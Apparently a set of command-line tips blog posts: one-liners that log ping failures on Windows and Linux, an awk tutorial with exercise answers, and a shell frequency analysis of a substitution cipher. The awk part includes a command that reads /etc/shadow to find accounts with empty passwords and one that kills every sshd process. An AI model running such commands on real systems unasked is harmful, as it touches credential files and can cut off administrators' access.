Episode #166: Ping A Little Log For Me

We've been away for a while because, frankly, we ran out of material. In the meantime we tried to come up with some new ideas and there have had a few requests, but sadly they were all redundant, became scripts, or both. We've been looking long and hard for Fu that works in this format, and we've finally found it!

Nathan Sweaney wrote in with a great idea! It isn't a script, it isn't redundant, and it is quite useful. Three of the four of the criteria that makes a great episode (the fourth being beer fetching or beer opening). To top it off Nathan wrote the CMD.EXE portion himself. Thanks Nathan!

--Tim

Nathan Sweaney writes in:

Ping Network Monitor

Occasionally we have issues in the field where we think a customer's device is occasionally losing a connection, but we're not sure if, or when, or for how long. We need a log of when the connection is dropping so that we can compare to the customer's reports of issues. Sure there are fancy network monitoring tools that can help, but we're in a hurry with no budget.

In Linux this would be easy, but these are Windows boxen. So I hacked together the following one-liner for our techs to use in the field.

This command will ping an IP address once every second and when it doesn't get a response, it will log the time-stamp in a text file. Then we can compare those time-stamps to failure reports from the customer.

To use it, simply change the IP address 8.8.8.8 near the beginning to whatever IP we need to monitor. Then open a command prompt, CD into the directory you want the log file created, and run the command.

C:\> cmd.exe /v:on /c "FOR /L %i in (1,0,2) do @ping -n 1 8.8.8.8 |
find "Request timed out">NUL && (echo !date! !time! >> PingFail.txt) &
ping -n 2 127.0.0.1>NUL"

So let's dissect this. It's mostly just a combination of examples Ed has mentioned in the past.

First, we're using the "cmd.exe /v:on /c" command to allow for delayed environment variable expansion. Ed has explained in the past why that lets us do flexible variable parsing. This command wraps everything else.

The next layer of our onion is an infinite "FOR /L" loop that Ed mentioned WAY back. We're counting from 1 to 2 in steps of 0 so that our command will continue running until we manually stop it.

Inside of our FOR loop is where we really get to the meat. We've basically got 4 steps:

1) First we see @ping -n 1 8.8.8.8. The @ symbol says to hide the echo of the command to the screen. The switch (-n 1) says to only ping the IP once. And of course 8.8.8.8 is the address we want to ping.

2) Next we pipe the results of our ping into the FIND command and search for "Request timed out" to see if the ping failed. The last part of that >NUL says to dump the output from this command into NUL, because we don't really need to see it.

3) Now we get fancy. The && says to only run this command if the previous command succeeded. In other words, if our FIND command finds the text, which means our ping failed, then we run this command. And we've enclosed this command in parenthesis contain it as a single command. We need to use the "cmd.exe /v:on /c" command at the beginning to allow for delayed environment variable expansion; that way our time & date changes each iteration. So %date% and %time% becomes !date! and !time!.

And finally we're redirecting our output to a file called PingFail.txt. We use the >> operator append each new entry rather than overwrite with just >.

4) And finally we're on to the last step. As mentioned before, the & says to run the next command no matter what has already happened. This command simply pings localhost with (-n 2) which will give us a one-second delay. The first ping happens immediately, and the second ping happens after one second. This slows down our original ping back in step 1 which would otherwise fire off like a machine gun as fast as the FOR loop can go. Lastly, we're redirecting the output with >NUL because we don't care to see it.

WOW. I said it was convoluted. But it works, and it's rather simple to use.

Tim finds a letter in the mail slot:

Wow, it has been a while since we've dusted off the ol' kung fu for a blog post. I've missed it and I know Hal as too. In fact, he hasn't showered since our last episode. True story. This was his silent (but deadly) protest against our lack of ideas and usable suggestions. The Northwest can breathe a sigh of relief (in the now fresher air) now that we are back for this episode. I for one, missed the blog. Back to the Fu...

Nathan wrote in with his idea to log Ping failures. What a great idea for a quick and dirty network monitor. Thanks to CMD.EXE he's got a bit of funkyness to his command. Fortunately, we can be a little smoother with our approach.

PS C:\> for (;;) { Start-Sleep 2; ping -n 1 8.8.8.8 >$null; if(-not $?) { Get-Date -Format s | Tee-
Object mylog.txt -Append }}
2013-03-12T12:34:56

We start off with an infinite loop using the For loop but without any loop control structures. Without these structures there is nothing to limit the loop, and it will run forever...it will be UNSTOPPABLE! MWAAAAAHAHAHAHAHA! <cough> <cough> Sorry about that, it's been a while.

Inside our infinite loop we sleep for a few seconds. We could do it at the end, but for some reason I get inconsistent results when I do that. I have no idea why, and I've tried troubleshooting it for hours. That's OK, a pre-command nap never killed anyone.

After our brief nap, we do the ping. The results are sent into the garbage can that is the $NULL variable. Following this command we check the error state of the previous command by checking the value of $?. This variable is True if the previous command ran without error, if there was an error the the command is False. The If Statement is used to branch our logic based on this value. If it is False, the ping failed, and we need to log the error.

Inside our branch we get the current date with Get-Date (duh!) and change the format to the sortable format. We could use any format, but the OCD part of me likes this format. The formatted date is piped into the Tee-Object command which will append the date to a file as well as output to our console.

Notice we used the For loop here instead of a While loop. I did this to save single character. We can save a few more characters by using this command using aliases, shortened parameter names, and a little magic in our For loop.

PS C:\> for (;;sleep 2) {ping -n 1 8.8.8.8 >$null; if(-not $?) { date -f s | tee mylog.txt -a }}

I moved the Start-Sleep (alias sleep) cmdlet inside the For loop control. The For loops looks like this:

for ( variable initialization; condition; variable update ) {
  Code to execute while the condition is true
}

The variable initialization is run once before our loop starts. The condition is checked every time through the loop to see if we should continue the loop. We have no variable we care to initialize, and we want the loop to run forever so we don't use a condition. The variable update piece is executed after each time through the loop, and this we can use. Instead of modifying a variable used in the loop, we take a lovely two second nap. This gives us our nice delay between each ping.

There you have the long awaited PowerShell version of this command. It is better than CMD.EXE, but there is no nice way to use the short-circuit operator && or || operators to make this command more efficient. Don't tell Hal, but I'm really jealous of the way his shell can be used to complete this task. I'm jealous of his terseness...and his full head of hair.

Hal washes clean

Let's be clear. The only thing that smells around here is the Windows shells. Have to use ping to put a sleep in your loop? Sleep that works at the start of the loop but not the end? What kind of Mickey Mouse operating system is that?

The Linux solution doesn't look a lot different from the Windows solutions:

while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date; sleep 1; done

"while :; do ... done" is the most convenient way of doing an infinite loop in the shell. The ping command uses the "-c 1" option to only send a single ping and "-W 1" to only wait one second for the response. We send the ping output to /dev/null so that it doesn't clutter the output of our loop. Whenever the ping fails, it returns false and we end up running the date command on the right-hand side to output a timestamp. The last thing in the loop is a sleep for one second. And yes, Tim, it actually works at the end of the loop in my shell.

Well that was easy. Hmmm, I don't want to embarrass Nathan and Tim by making my part of the Episode too short. How about we make the output of the date command a little nicer:

while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date '+%F %T'; sleep 1; done

"%F" is the "full" ANSI-style date format "2013-03-12" and "%T" is the time in 24-hour notation. So we get "2013-03-12 04:56:22" instead of the default "Tue Mar 12 04:56:22 EST 2013"

Oh, you want to save the output in a file as well as having it show up in your terminal window? No problemo:

while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date; sleep 1; done | tee mylog.txt

Hooray for tee!

Well I can't tart this up any more to save Tim and Nathan's fragile egos. So I'm outta here to go find a shower.

An AWK-ward Response

A couple of weeks ago I promised some answers to the exercises I proposed at the end of my last post. What we have here is a case of, "Better late than never!"

1. If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?

There's a couple of different ways you could attack this using the material I showed you in the previous post. One way would be to do string comparison on field $1:

$ ps -ef | awk '$1 != "UID" {print $1}' | sort | uniq -c | sort -nr
    178 root
     58 hal
      2 www-data
    ...

An alternative approach would be to use pattern matching to print lines that don't match the string "UID". The "!" operator means "not", so the expression "!/UID/" does what we want:

$ ps -ef | awk '!/UID/ {print $1}' | sort | uniq -c | sort -nr
    178 root
     57 hal
      2 www-data
    ...

You'll notice that the "!/UID/" version counts one less process for user "hal" than the string comparison version. That's because the pattern match is matching the "UID" in the awk code and not showing you that process. So the string comparison version is slightly more accurate.

2. Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).

Remember that /etc/passwd file is colon-delimited, so we'll use awk's "-F" operator to split on colons. UID is field #3 and the username is field #1:

$ awk -F: '$3 == 0 {print $1}' /etc/passwd
root

Normally, a Unix-like OS will only have a single UID 0 account named "root". If you find other UID 0 accounts in your password file, they could be a sign that somebody's doing something naughty.

3. Print out the usernames of all accounts with null password fields in /etc/shadow.

You'll need to be root to do this one, since /etc/shadow is only readable by the superuser:

# awk -F: '$2 == "" {print $1}' /etc/shadow

Again, we use "-F:" to split the fields in /etc/shadow. We look for lines where the second field (containing the password hash) is the empty string and print the first field (the username) when this condition is true. It's really not much different from the previous /etc/passwd example.

You should get no output. There shouldn't be any entries in /etc/shadow with null password hashes!

4. Print out process data for all commands being run as root by interactive users on the system (HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it)

The "TTY" column in the "ps" output is field #6 and the username field is #1:

# ps -ef | awk '$1 == "root" && $6 != "?" {print}'
root      1422     1  0 Jan05 tty4     00:00:00 /sbin/getty -8 38400 tty4
root      1427     1  0 Jan05 tty5     00:00:00 /sbin/getty -8 38400 tty5
root      1434     1  0 Jan05 tty2     00:00:00 /sbin/getty -8 38400 tty2
root      1435     1  0 Jan05 tty3     00:00:00 /sbin/getty -8 38400 tty3
root      1438     1  0 Jan05 tty6     00:00:00 /sbin/getty -8 38400 tty6
root      1614  1523  0 Jan05 tty7     00:09:00 /usr/bin/X :0 -nr -verbose -auth ... 
root      2082     1  0 Jan05 tty1     00:00:00 /sbin/getty -8 38400 tty1
root      5909  5864  0 13:42 pts/3    00:00:00 su -
root      5938  5909  0 13:42 pts/3    00:00:00 -su
root      5968  5938  0 13:47 pts/3    00:00:00 ps -ef
root      5969  5938  0 13:47 pts/3    00:00:00 awk $1 == "root" && $6 != "?" {print}

We look for the keyword "root" in the first field, and anything that's not "?" in the sixth field. If both conditions are true, then we just print out the entire line with "{print}".

Actually, "{print}" is the default action for awk. So we could shorten our code just a bit:

# ps -ef | awk '$1 == "root" && $6 != "?"'
root      1422     1  0 Jan05 tty4     00:00:00 /sbin/getty -8 38400 tty4
root      1427     1  0 Jan05 tty5     00:00:00 /sbin/getty -8 38400 tty5
root      1434     1  0 Jan05 tty2     00:00:00 /sbin/getty -8 38400 tty2
...

5. I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (HINT: The master SSH daemon is the one who's parent process ID is 1).

This one's a little tricky. Take a look at the sshd processes on my system:

# ps -ef | grep sshd
root      3394     1  0  2012 ?        00:00:00 /usr/sbin/sshd
root     13248  3394  0 Jan05 ?        00:00:00 sshd: hal [priv] 
hal      13250 13248  0 Jan05 ?        00:00:02 sshd: hal@pts/0  
root     25189  3394  0 08:27 ?        00:00:00 sshd: hal [priv] 
hal      25191 25189  0 08:27 ?        00:00:00 sshd: hal@pts/1  
root     25835 25807  0 15:33 pts/1    00:00:00 grep sshd

For modern SSH daemons with "Privilege Separation" enabled, there are actually two sshd processes per login. There's a root-owned process marked as "sshd: <user> [priv]" and a process owned by the user marked as "sshd: <user>@<tty>". Life would be a whole lot easier if both processes were identified with the associated pty, but alas things didn't work out that way. So here's what I came up with:

# ps -ef | awk '/sshd/ && !($3 == 1 || /sshd: hal[@ ]/) {print $2}'

First we eliminate all processes except for the sshd processes with "/sshd/". We only want to print out the process IDs if it's not the master SSH daemon ("$3 == 1" to make sure the PPID isn't 1) or if it's not one of my SSH daemons ("/sshd: hal[@ ]/" means the string "sshd: hal" followed by either "@" or space). If everything looks good, then print the process ID of the process ("{print $2}").

Frankly, that's some pretty nasty awk. I'm not sure it's something I'd come up with easily on the spur of the moment.

6. Use awk to parse the output of the ifconfig command and print out the IP address of the local system.

Here's the output from ifconfig on my system:

$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr f0:de:f1:29:c7:18  
          inet addr:192.168.0.14  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::f2de:f1ff:fe29:c718/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7724312 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13553720 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:711630936 (711.6 MB)  TX bytes:17529013051 (17.5 GB)
          Memory:f2500000-f2520000 

So this is a reasonable first approximation:

$ ifconfig eth0 | awk '/inet addr:/ {print $2}'
addr:192.168.0.14

The only problem is the "addr:" bit that's still hanging on. awk has a number of built-in functions, including substr() which can help us in this case:

$ ifconfig eth0 | awk '/inet addr:/ {print substr($2, 6)}'
192.168.0.14

substr() takes as arguments the string we're working on (field $2 in this case) and the place in the string where you want to start (for us, that's the sixth character so we skip over the "addr:"). There's an optional third argument which is the number of characters to grab. If you leave that off, then you just get the rest of the string, which is what we want here.

There are lots of other useful built-in functions in awk. Consult the manual page for further info.

7. Parse the output of "lsof -nPi" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.

Let's take a look at the "lsof -nPi" output using awk to match only the lines for "LISTEN" mode:

# lsof -nPi | awk '/LISTEN/'
sshd      1216     root    3u  IPv4   5264      0t0  TCP *:22 (LISTEN)
sshd      1216     root    4u  IPv6   5266      0t0  TCP *:22 (LISTEN)
mysqld    1610    mysql   10u  IPv4   6146      0t0  TCP 127.0.0.1:3306 (LISTEN)
vmware-au 1804     root    8u  IPv4   6440      0t0  TCP *:902 (LISTEN)
cupsd     1879     root    6u  IPv6  73057      0t0  TCP [::1]:631 (LISTEN)
cupsd     1879     root    8u  IPv4  73058      0t0  TCP 127.0.0.1:631 (LISTEN)
apache2   1964     root    4u  IPv4   7412      0t0  TCP *:80 (LISTEN)
apache2   1964     root    5u  IPv4   7414      0t0  TCP *:443 (LISTEN)
apache2   4112 www-data    4u  IPv4   7412      0t0  TCP *:80 (LISTEN)
apache2   4112 www-data    5u  IPv4   7414      0t0  TCP *:443 (LISTEN)
apache2   4113 www-data    4u  IPv4   7412      0t0  TCP *:80 (LISTEN)
apache2   4113 www-data    5u  IPv4   7414      0t0  TCP *:443 (LISTEN)
skype     5133      hal   41u  IPv4 104783      0t0  TCP *:6553 (LISTEN)

Process name, PID, and process owner are fields 1-3 and the protocol and port are in fields 8-9. So that suggests the following awk:

# lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}'
sshd 1216 root TCP *:22
sshd 1216 root TCP *:22
mysqld 1610 mysql TCP 127.0.0.1:3306
vmware-au 1804 root TCP *:902
cupsd 1879 root TCP [::1]:631
cupsd 1879 root TCP 127.0.0.1:631
apache2 1964 root TCP *:80
apache2 1964 root TCP *:443
apache2 4112 www-data TCP *:80
apache2 4112 www-data TCP *:443
apache2 4113 www-data TCP *:80
apache2 4113 www-data TCP *:443
skype 5133 hal TCP *:6553

And if we want the unique entries, then just use "sort -u":

# lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}' | sort -u
apache2 1964 root TCP *:443
apache2 1964 root TCP *:80
apache2 4112 www-data TCP *:443
apache2 4112 www-data TCP *:80
apache2 4113 www-data TCP *:443
apache2 4113 www-data TCP *:80
cupsd 1879 root TCP 127.0.0.1:631
cupsd 1879 root TCP [::1]:631
mysqld 1610 mysql TCP 127.0.0.1:3306
skype 5133 hal TCP *:6553
sshd 1216 root TCP *:22
vmware-au 1804 root TCP *:902

Looking at the output, I'm not sure I care about all of the different apache2 instances. All I really want to know is which program is using port 80/tcp and 443/tcp. So perhaps we should just drop the PID and process owner:

# lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | sort -u
apache2 TCP *:443
apache2 TCP *:80
cupsd TCP 127.0.0.1:631
cupsd TCP [::1]:631
mysqld TCP 127.0.0.1:3306
skype TCP *:6553
sshd TCP *:22
vmware-au TCP *:902

In the above output you see cupsd bound to both the IPv4 and IPv6 loopback address. If you just care about the port numbers, we can flash a little sed to clean things up:

# lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | \
    sed 's/[^ ]*:\([0-9]*\)/\1/' | sort -u -n -k3
sshd TCP 22
apache2 TCP 80
apache2 TCP 443
cupsd TCP 631
vmware-au TCP 902
mysqld TCP 3306
skype TCP 6553

In the sed expression I'm matching "some non-space characters followed by a colon" ("[^ ]*:") with some digits afterwards ("[0-9]*"). The digits are the port number, so we replace the matching expression with just the port number. Notice I used "\(...\)" around the "[0-9]*" to create a sub-expression that I can substitute on the right-hand side as "\1".

I've also modified the final "sort" command so that we get a numeric ("-n") sort on the port number ("-k3" for the third column). That makes the output look more natural to me.

I guess the moral of the story here is that awk is good for many things, but not necessarily for everything. Don't forget that there are other standard commands like sed and sort that can help produce the output that you're looking for.

Happy awk-ing everyone!

AWK-ward!

Yesterday I got an email friend who complained that "awk is still a mystery". Not being one to ignore a cry for help with the command line, I was motivated to write up a simple introduction to the basics of awk. But where to post it? I know! We've got this little blog we're not doing anything with at the moment (er, yeah, sorry about that folks-- life's been exciting for the Command Line Kung Fu team recently)...

Lesson #1 -- It's a big loop!

The first thing you need to understand about awk is that it reads and operates on each line of input one at a time. It's as if your awk code were sitting inside a big loop:

for each line of input
    # your code is here
end loop

Your code goes in curly braces. So the simplest awk program is one that just prints out every line of a file:

awk '{print}' /etc/passwd

Nothing too exciting there. It's just a more complicated way to "cat /etc/passwd". Note that you generally want to enclose your awk code in single quotes like I did in the example above. This prevents special characters in the awk script from being interpolated by your shell before they even get to awk.

Lesson #2 -- awk splits the line into fields

One of the nice features of awk is that it automatically splits up each input line using whitespace as the delimiter. It doesn't matter how many spaces/tabs appear in between items on the line, each chunk of whitespace in its entirety is treated as a delimiter.

The whitespace-delimited fields are put into variables named $1, $2, and so on. Rather than just doing "print" as we did in the last example (which prints out the whole original line), you can print out any of the individual fields by number. For example, I can pull out the percentage used (field 5) and file system mount point (field 6) from df output:

$ df -h -t ext4 | awk '{print $5, $6}'
Use% Mounted
58% /
24% /boot
42% /var
81% /home
89% /usr

The comma in the "print $5, $6" expression causes awk to put a space between the two fields. If you did "print $5 $6", you'd get the two fields jammed up against each other with no space between them.

We could use a similar strategy to pull out just the usernames from ps (field 1):

$ ps -ef | awk '{print $1}'
UID
root
root
root
...

Not so interesting maybe, until you start combining it with other shell primitives:

$ ps -ef | awk '{print $1}' | sort | uniq -c | sort -nr
    188 root
     70 hal
      2 www-data
      2 avahi
      2 108
      1 UID
      1 syslog
      1 rtkit
      1 ntp
      1 mysql
      1 gdm
      1 daemon
      1 102

Once we sort all the usernames in order, we can use "uniq -c" to count the number of processes running as each user. The final "sort -nr" gives us a descending ("-r") numeric ("-n") sort of the counts.

And this is fundamentally what's interesting about awk. It's great in the middle of a shell pipeline to be able to pull out individual fields that we're interested in processing further.

Lesson #3 -- Being selective

The other cool power of awk is that you can operate on selected lines of your input and ignore the rest. Any awk statement like "{print}" can optionally be preceded by a conditional operator. If a conditional operation exists, then your awk code will only operate on lines that match the expression.

The most common conditional operator is "/.../", which does pattern matching. For example, I could pull out the process IDs of all sshd processes like this:

$ ps -ef | awk '/sshd/ {print $2}'
1366
10883

That output is maybe more interesting when you use it with the kill command to kick people off of your system:

# kill $(ps -ef | awk '/sshd/ {print $2}')

Of course, you better be on the system console when you execute that command. Otherwise, you've just locked yourself out of the box!

While pattern matching tends to get used most frequently, awk has a full suite of comparison and logical operators. Returning to our df example, what if we wanted to print out only the file systems that were more than 80% full? Remember that the percent used is in field 5 and the file system mount point is field 6. If field 5 is more than 80, we want to print field 6:

$ df -h -t ext4 | awk '($5 > 80) {print $6}'
Mounted
/home
/usr

Whoops! The header line ends up getting dumped out too! We'd actually like to suppress that. I could use the tail command to strip that out, but I can also do it in our awk statement:

$ df -h -t ext4 | awk '$5 ~ /[0-9]/ && ($5 > 80) {print $6}'
/home
/usr

"$5 ~ /[0-9/" means do a pattern match specifically against field 5 and make sure it contains at least one digit. And then we check to make sure that field 5 is greater than 80. If both of those conditional expressions are true then we'll print out field 6. I made this more complicated that it needs to be just to show you that you can put together complicated logical expressions with "&&" (and "||" for the "or" relationship) and do pattern matching on specific fields if you want to.

Lesson #4 -- You don't have to split on whitespace

While splitting on whitespace is frequently useful, sometimes you're dealing with input that's broken up by some other character, like commas in a CSV file or colons in /etc/passwd. awk has a "-F" option that lets you specify a delimiter other than whitespace.

Here's a little trick to find out if you have any duplicate UIDs in your /etc/passwd file:

$ awk -F: '{print $3}' /etc/passwd | sort | uniq -d

Here we're merely using awk to pull the UID field (field 3) from the colon-delimited ("-F:") /etc/passwd file. Then we sort the UIDs and use "uniq -d" to tell us if there are any duplicates. You want this command to return no output, indicating no duplicates were found.

The Rest is Practice

There's a lot more to awk, but this is more than enough to get you started with this useful little utility. But like any new skill, the best way to master awk is practice. So I'm going to give you a few exercises to work on. I'll post the answers on the blog in a week or so. Good luck!

1. If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?

2. Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).

3. Print out the usernames of all accounts with null password fields in /etc/shadow.

4. Print out process data for all commands being run as root by interactive users on the system (HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it)

5. I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (HINT: The master SSH daemon is the one who's parent process ID is 1).

6. Use awk to parse the output of the ifconfig command and print out the IP address of the local system.

7. Parse the output of "lsof -nPi" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.

Episode #165: What's the Frequency Kenneth?

Tim helps Tim crack the code

Long time reader, second time caller emailer writes in:

I've always been interested in mystery and codes (going back to 'Mystery Club' in 7th Grade), and today I discovered a cool show on History Channel called Decoded. They were talking about cryptography, specifically frequency analysis. I'm not an educator here but just to make sure we're on the same page: frequency analysis is one method of cracking a cipher by calculating how many times a certain cipher letter appears. From there, one can make a best guess on what the most frequent letters are.

Ok anyway, I've been doing some fun cipher puzzles in my spare time and thought about how this could be code. Say we have a document with a cipher text (letters or numbers, separated by a comma or space). Is it possible to write a code to do a frequency analysis on the ciphertext and maybe even replace the cipher with the results? So if the most frequent cipher are 13 and 77, alter the document and replace 13 and 77, with the most common letters E and T, for example.

This type of statistical analysis works better with longer ciphertext. So I created a substitution cipher that produced the following output. For the sake of simplicity, I didn't replace the punctuation and the spaces

"YETU HTPVI MOF UELCP MOF STC LCRVCU T DOOZ SLXEVW LK MOF ETRV CO VQXVWULIV LC UEV IFNAVSU? HTMNV MOF STC, NFU LU'I COU UVWWLNJM JLPVJM. LHTDLCV EOY MOF YOFJZ WVTSU LK MOFW ZOSUOW UOJZ MOF "MOF ETRV TXXVCZLSLULI, T ZLIVTIV UETU LI JLKV-UEWVTUVCLCD LK COU UWVTUVZ. YV ETRV T ULHV-UVIUVZ SFWV UETU SFWVI 99% OK TJJ XTULVCUI YLUE CO COULSVTNJV ILZV-VKKVSUI, NFU L'H COU DOLCD UO DLRV MOF UETU: L'H DOLCD UO DLRV MOF T CVY VQXVWLHVCUTJ UWVTUHVCU HM SOFILC ZWVTHVZ FX JTIU YVVP. CO, HM SOFILC ETI CO HVZLSTJ UWTLCLCD. CO, L ETRV CO VRLZVCSV UETU UEV CVY UWVTUHVCU YLJJ YOWP, TCZ LU'I CVRVW NVVC UVIUVZ OW TCTJMBVZ LC ZVXUE -- NFU L'H DOLCD UO DLRV LU UO MOF TCMYTM NVSTFIV HM SOFILC UELCPI LU LI DOOZ IUFKK." MOF'Z KLCZ TCOUEVW ZOSUOW, L EOXV. WTULOCTJ XVOXJV JVTRV HVZLSTJ STWV UO UEV HVZLSTJ VQXVWUI. UEV HVZLSTJ VQXVWUI ETRV T HFSE NVUUVW UWTSP WVSOWZ UETC UEV GFTSPI."
-- ZTRLZ YTDCVW XEZ, ISL.SWMXU, 19UE OSU 02.

We can read a file using the command Get-Content (alias cat, gc, type) as we usually do, but let's use a Here-String instead.

PS C:\> $ciphertext = @"
"YETU HTPVI MOF UELCP MOF STC LCRVCU T DOOZ SLXEVW LK MOF ETRV CO VQXVWULIV LC UEV IFNAVSU?
HTMNV MOF STC, NFU LU'I COU UVWWLNJM JLPVJM. LHTDLCV EOY MOF YOFJZ WVTSU LK MOFW ZOSUOW UOJZ
MOF "MOF ETRV TXXVCZLSLULI, T ZLIVTIV UETU LI JLKV-UEWVTUVCLCD LK COU UWVTUVZ. YV ETRV T ULHV-
UVIUVZ SFWV UETU SFWVI 99% OK TJJ XTULVCUI YLUE CO COULSVTNJV ILZV-VKKVSUI, NFU L'H COU DOLCD
UO DLRV MOF UETU: L'H DOLCD UO DLRV MOF T CVY VQXVWLHVCUTJ UWVTUHVCU HM SOFILC ZWVTHVZ FX JTIU
YVVP. CO, HM SOFILC ETI CO HVZLSTJ UWTLCLCD. CO, L ETRV CO VRLZVCSV UETU UEV CVY UWVTUHVCU
YLJJ YOWP, TCZ LU'I CVRVW NVVC UVIUVZ OW TCTJMBVZ LC ZVXUE -- NFU L'H DOLCD UO DLRV LU UO MOF
TCMYTM NVSTFIV HM SOFILC UELCPI LU LI DOOZ IUFKK." MOF'Z KLCZ TCOUEVW ZOSUOW, L EOXV. WTULOCTJ
XVOXJV JVTRV HVZLSTJ STWV UO UEV HVZLSTJ VQXVWUI. UEV HVZLSTJ VQXVWUI ETRV T HFSE NVUUVW UWTSP
WVSOWZ UETC UEV GFTSPI."
-- ZTRLZ YTDCVW XEZ, ISL.SWMXU, 19UE OSU 02.
"@

The we start a Here-String with @" and close it with the matching "@ pair. Now we have a variable $cipher that contains our text. Next, let's get the frequency of each character used in our ciphertext.

PS C:\> ($ciphertext | Select-String -AllMatches "[A-Z]").matches | 
group value -noel | sort count -desc

Count Name
----- ----
   90 V
   76 U
   58 L
   55 T
   53 O
   47 C
   31 W
   29 E
   29 S
   28 Z
   28 I
   27 F
   22 M
   21 J
   19 H
   15 D
   15 X
   13 R
   12 Y
   10 N
   10 K
    8 P
    4 Q
    1 G
    1 B
    1 A

We start by piping the ciphertext into the Select-String cmdlet where we use the regular expression "[A-Z]" to select each alphabet character individually. The AllMatches switch is used to return all the characters instead of just the first one found. The results are passed down the pipeline into the Group-Object cmdlet (alias group) to give us the count. The NoElement switch (shortened to noel) is used to discard the original objects as we don't need them in the output.

Let's save the letters into a variable so we can use it later for substitution.

PS C:\> $cipherletters = ($ciphertext | Select-String -AllMatches "[A-Z]").matches | 
group value -noel  | sort count -desc | % { $_.Name }
PS C:\> $cipherletters
V
U
L
T
O
C
W
...

We used the same command as above, except with the added ForEach-Object cmdlet (alias %) where the value of the Name property is output and stored in our variable.

Now that we have our letters sorted by their frequency we need to compare them with the statistic frequency of characters in the English language.

e  12.702%
t  9.056%
a  8.167%
o  7.507%
i  6.966%
n  6.749%
s  6.327%
h  6.094%
r  5.987%
d  4.253%
l  4.025%
c  2.782%
u  2.758%
m  2.406%
w  2.360%
f  2.228%
g  2.015%
y  1.974%
p  1.929%
b  1.492%
v  0.978%
k  0.772%
j  0.153%
x  0.150%
q  0.095%
z  0.074%

We aren't going to worry about the percentages and we'll just get the letters in order. Later we'll map the two data sets together for our replacement.

PS C:\> $freqletters = "e","t","a","o","i","n","s","h","r","d","l","c","u",
"m","w","f","g","y","p","b","v","k","j","x","q","z"

Now for a quick substitution.

PS C:\> $replacedtext = $ciphertext
PS C:\> for ($i=0; $i -lt 26; $i++) { $replacedtext =  $replacedtext -creplace 
$cipherletters[$i], $freqletters[$i] }

We use a For loop to count from 0 to 25 where $i is used as the iterator. The iterator is used to match the Nth item in each array (remember, base zero) and use the mapped characters for replacement. The CReplace operator is used for a case sensitive replacement as our cipher letters are upper case and our clear text letters are lower case. This is done to prevent double substitution.

Now to see what our output looks like.

PS C:\> $replacedtext
"phot wokel uic thank uic ron anyent o fiid raghes av uic hoye ni ejgestale an the lcbzert?
woube uic ron, bct at'l nit tessabmu makemu. awofane hip uic picmd seort av uics dirtis timd
uic "uic hoye oggendaratal, o daleole thot al mave-thseotenanf av nit tseoted. pe hoye o tawe-
telted rcse thot rcsel 99% iv omm gotaentl path ni nitareobme lade-evvertl, bct a'w nit fianf
ti faye uic thot: a'w fianf ti faye uic o nep ejgesawentom tseotwent wu riclan dseowed cg molt
peek. ni, wu riclan hol ni wedarom tsoananf. ni, a hoye ni eyadenre thot the nep tseotwent
pamm pisk, ond at'l neyes been telted is onomuqed an degth -- bct a'w fianf ti faye at ti uic
onupou berocle wu riclan thankl at al fiid ltcvv." uic'd vand onithes dirtis, a hige. sotainom
geigme meoye wedarom rose ti the wedarom ejgestl. the wedarom ejgestl hoye o wcrh bettes tsork
serisd thon the xcorkl."
-- doyad pofnes ghd, lra.rsugt, 19th irt 02.

Well, that isn't great. It looks like the only words successfully decryted are "the" and "been". There are a few more techniques for cryptanalysis of this type of cipher

With a bit of tweeking and adjustment of the frequency letters we can end up with the following.

"What makes you think you can invent a good cipher if you have no expertise in
the subject? Maybe you can, but it's not terribly likely. Imagine how you would react
if your doctor told you "You have appendicitis, a disease that is life-threatening if
not treated. We have a time-tested cure that cures 99% of all patients with no
noticeable side-effects, but I'm not going to give you that: I'm going to give you a
new experimental treatment my cousin dreamed up last week. No, my cousin has no
medical training. No, I have no evidence that the new treatment will work, and it's
never been tested or analyzed in depth -- but I'm going to give it to you anyway
because my cousin thinks it is good stuff." You'd find another doctor, I hope.
Rational people leave medical care to the medical experts. The medical experts have a
much better track record than the quacks."
-- David Wagner PhD, sci.crypt, 19th Oct 02.

Let's see if Hal is a better cracker than I am.

Hal gets cracking

Gah. I was always terrible at these puzzles as a child. Maybe my shell can help!

Getting the frequency counts is just a matter of piling up a bunch of shell primatives:

$ sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | 
    sort | uniq -c | sort -nr
     90 V
     76 U
     58 L
     55 T
     53 O
...

Notice there's two substitutions in the sed program. The first eliminates anything that's not an uppercase letter. The second puts a newline after each letter in the remaining text. So what I get is each letter from the input text on a line by itself.

Unfortunately, sed doesn't give me a good way to deal with the newlines in the original message. So after the last letter on each line I'm going to get the newline I add with sed, followed by the newline from the original input file. This gives me blank lines in the sed output and I don't want them! The next grep in the pipeline takes care of only giving me the lines that have letters on them.

